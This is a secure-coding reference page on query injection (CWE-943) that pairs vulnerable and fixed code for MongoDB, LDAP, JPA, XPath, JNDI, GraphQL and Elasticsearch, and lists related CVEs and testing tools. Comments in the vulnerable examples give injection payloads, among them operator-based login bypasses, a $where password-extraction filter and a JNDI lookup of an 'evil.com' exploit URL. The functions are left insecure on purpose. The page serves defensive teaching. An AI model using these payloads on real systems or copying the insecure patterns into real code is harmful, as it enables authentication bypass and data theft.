Improper Neutralization of Special Elements in Data Query Logic
Description
Improper Neutralization of Special Elements in Data Query Logic occurs when a product generates a query intended to access or manipulate data in a data store, but does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. While this weakness is most commonly associated with SQL injection (CWE-89), it encompasses many other query languages including NoSQL (MongoDB, CouchDB), LDAP, XPath, XQuery, HTSQL, ORM query builders, and GraphQL. Any data store that uses a query language with special elements that can alter query logic is potentially vulnerable.
Risk
Query injection vulnerabilities remain among the most exploited weaknesses. CVE-2025-36185 in IBM Db2 (versions 12.1.0-12.1.2) allows local users to craft queries that cause denial of service. CVE-2025-42884 in SAP NetWeaver Enterprise Portal allows unauthenticated attackers to inject malicious JNDI environment properties, manipulating lookup operations. NoSQL injection is increasingly common as applications adopt document databases. GraphQL injection can expose entire schemas and bypass access controls. These vulnerabilities can lead to data exposure, data manipulation, authentication bypass, and in some cases remote code execution.
Solution
Use parameterized queries or prepared statements for all data store interactions. Never concatenate user input into query strings. Use ORM frameworks with parameterized query builders. Validate and sanitize all input before use in queries. Implement least privilege database permissions. Use allowlists for any user-controlled query operators (like MongoDB's $where). For GraphQL, implement query complexity limits and depth restrictions. Disable dangerous query features when not needed. Log and monitor for query injection attempts.
Common Consequences
| Impact | Details |
|---|---|
| Confidentiality | Scope: Data Disclosure Attackers can extract sensitive data by injecting queries that return unauthorized records. |
| Integrity | Scope: Data Manipulation Injection can modify or delete data in the data store. |
| Authentication | Scope: Authentication Bypass Injected queries can bypass login mechanisms and access control checks. |
Example Code + Solution Code
Vulnerable Code
# VULNERABLE: NoSQL injection in MongoDB
from pymongo import MongoClient
@app.route('/login', methods=['POST'])
def login():
username = request.json['username']
password = request.json['password']
# Attacker sends: {"username": {"$gt": ""}, "password": {"$gt": ""}}
# This matches any user!
user = db.users.find_one({
'username': username,
'password': password
})
if user:
return 'Login successful'
return 'Invalid credentials'
# VULNERABLE: LDAP injection
import ldap
def authenticate_ldap(username, password):
# Attacker sends username: admin)(|(password=*
# Creates: (&(user=admin)(|(password=*)(password=anything))
ldap_filter = f"(&(user={username})(password={password}))"
result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)
return len(result) > 0
// VULNERABLE: JPA query with string concatenation
@Repository
public class UserRepository {
public List<User> findByUsername(String username) {
// Attacker sends: admin' OR '1'='1
String query = "SELECT u FROM User u WHERE u.username = '" + username + "'";
return entityManager.createQuery(query, User.class).getResultList();
}
}
// VULNERABLE: XPath injection
public String getUser(String username) throws Exception {
// Attacker sends: ' or '1'='1
String xpath = "//users/user[name='" + username + "']";
XPath xPath = XPathFactory.newInstance().newXPath();
return xPath.evaluate(xpath, document);
}
// VULNERABLE: JNDI injection
public Object lookupResource(String name) throws NamingException {
// Attacker sends: ldap://evil.com/exploit
return new InitialContext().lookup(name);
}
// VULNERABLE: MongoDB injection through operator
app.post('/search', (req, res) => {
const filter = req.body;
// Attacker sends: {"$where": "this.password.match(/^a.*/i)"}
// Can extract passwords character by character!
db.collection('users').find(filter).toArray()
.then(users => res.json(users));
});
// VULNERABLE: GraphQL injection / introspection abuse
const schema = buildSchema(`
type Query {
user(id: ID!): User
users(filter: String): [User] // Direct filter string - dangerous!
}
`);
// Attacker can query: { users(filter: "1=1") { password } }
// Or use introspection to discover schema
// VULNERABLE: Elasticsearch query injection
app.get('/search', async (req, res) => {
const query = req.query.q;
// Attacker can inject Elasticsearch query DSL
const result = await client.search({
index: 'products',
body: {
query: {
query_string: {
query: query // Unvalidated query string
}
}
}
});
res.json(result);
});
Fixed Code
# SAFE: Parameterized MongoDB queries
from pymongo import MongoClient
import bcrypt
@app.route('/login', methods=['POST'])
def login_safe():
username = request.json.get('username')
password = request.json.get('password')
# Validate input types
if not isinstance(username, str) or not isinstance(password, str):
return 'Invalid input', 400
# Ensure query operators are not in input
if any(key.startswith('$') for key in [username, password] if isinstance(key, str)):
return 'Invalid characters in input', 400
# Find user by username only
user = db.users.find_one({'username': username})
if user and bcrypt.checkpw(password.encode(), user['password_hash']):
return 'Login successful'
return 'Invalid credentials', 401
# SAFE: Parameterized LDAP query
import ldap
from ldap.filter import escape_filter_chars
def authenticate_ldap_safe(username, password):
# Escape special characters in user input
safe_username = escape_filter_chars(username)
# Use escaped value in filter
ldap_filter = f"(uid={safe_username})"
result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)
if result:
user_dn = result[0][0]
try:
# Bind with user credentials to verify password
ldap_conn.simple_bind_s(user_dn, password)
return True
except ldap.INVALID_CREDENTIALS:
pass
return False
// SAFE: JPA with parameterized query
@Repository
public class SecureUserRepository {
public List<User> findByUsername(String username) {
// Named parameter prevents injection
String query = "SELECT u FROM User u WHERE u.username = :username";
return entityManager.createQuery(query, User.class)
.setParameter("username", username)
.getResultList();
}
// SAFE: Criteria API (type-safe)
public List<User> findByUsernameCriteria(String username) {
CriteriaBuilder cb = entityManager.getCriteriaBuilder();
CriteriaQuery<User> query = cb.createQuery(User.class);
Root<User> root = query.from(User.class);
query.select(root).where(cb.equal(root.get("username"), username));
return entityManager.createQuery(query).getResultList();
}
}
// SAFE: XPath with parameterized query
public String getUserSafe(String username) throws Exception {
// Use XPath variable resolver instead of string concatenation
XPath xPath = XPathFactory.newInstance().newXPath();
xPath.setXPathVariableResolver(variableName -> {
if ("username".equals(variableName.getLocalPart())) {
return username;
}
return null;
});
// $username is resolved safely
return xPath.evaluate("//users/user[name=$username]", document);
}
// SAFE: JNDI with resource name validation
public Object lookupResourceSafe(String name) throws NamingException {
// Allowlist of permitted resource names
Set<String> allowedResources = Set.of("jdbc/mydb", "jms/queue");
if (!allowedResources.contains(name)) {
throw new SecurityException("Resource not in allowlist: " + name);
}
// Also validate no protocol schemes
if (name.contains("://")) {
throw new SecurityException("Protocol schemes not allowed");
}
return new InitialContext().lookup("java:comp/env/" + name);
}
// SAFE: MongoDB with validated queries
app.post('/search', async (req, res) => {
const { name, category } = req.body;
// Build query safely - only allow expected fields
const query = {};
if (name && typeof name === 'string') {
// Use regex safely with escaped input
query.name = { $regex: escapeRegex(name), $options: 'i' };
}
if (category && typeof category === 'string') {
query.category = category; // Exact match
}
// Explicitly disallow query operators from user input
for (const key of Object.keys(req.body)) {
if (key.startsWith('$')) {
return res.status(400).json({ error: 'Invalid query parameter' });
}
}
const users = await db.collection('users')
.find(query)
.project({ password: 0 }) // Never return passwords
.limit(100)
.toArray();
res.json(users);
});
function escapeRegex(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
// SAFE: GraphQL with validation and complexity limiting
const { graphqlHTTP } = require('express-graphql');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
app.use('/graphql', graphqlHTTP({
schema: schema,
validationRules: [
depthLimit(5), // Limit query depth
createComplexityLimitRule(1000), // Limit complexity
],
graphiql: process.env.NODE_ENV !== 'production', // Disable in prod
}));
// SAFE: Elasticsearch with sanitized queries
app.get('/search', async (req, res) => {
const query = req.query.q;
// Escape Elasticsearch special characters
const sanitized = query.replace(/[+\-=&|><!(){}[\]^"~*?:\\/]/g, '\\$&');
const result = await client.search({
index: 'products',
body: {
query: {
simple_query_string: {
query: sanitized,
fields: ['name', 'description'],
default_operator: 'and'
}
}
}
});
res.json(result);
});
Exploited in the Wild
IBM Db2 Query Injection DoS (IBM, 2025)
CVE-2025-36185 in IBM Db2 12.1.0-12.1.2 allows local users to craft specially formed queries that the database engine fails to properly sanitize, leading to denial of service conditions.
SAP NetWeaver JNDI Injection (SAP, 2025)
CVE-2025-42884 in SAP NetWeaver Enterprise Portal (EP-BASIS/EP-RUNTIME 7.50) allows unauthenticated attackers to inject malicious JNDI environment properties, manipulating JNDI lookup operations (CVSS 6.5).
MongoDB NoSQL Injection Attacks (Multiple, Ongoing)
Multiple applications have been compromised through NoSQL injection, where attackers bypass authentication using query operators like $gt, $ne, and $where to manipulate query logic.
Tools to test/exploit
-
NoSQLMap — automated NoSQL injection tool.
-
sqlmap — SQL injection testing (also supports some NoSQL).
-
GraphQL Voyager — GraphQL schema visualization.
CVE Examples
-
CVE-2025-36185 — IBM Db2 query injection DoS.
-
CVE-2025-42884 — SAP NetWeaver JNDI injection.
-
CVE-2021-22911 — Rocket.Chat NoSQL injection.
References
-
MITRE. "CWE-943: Improper Neutralization of Special Elements in Data Query Logic." https://cwe.mitre.org/data/definitions/943.html
-
OWASP. "NoSQL Injection." https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection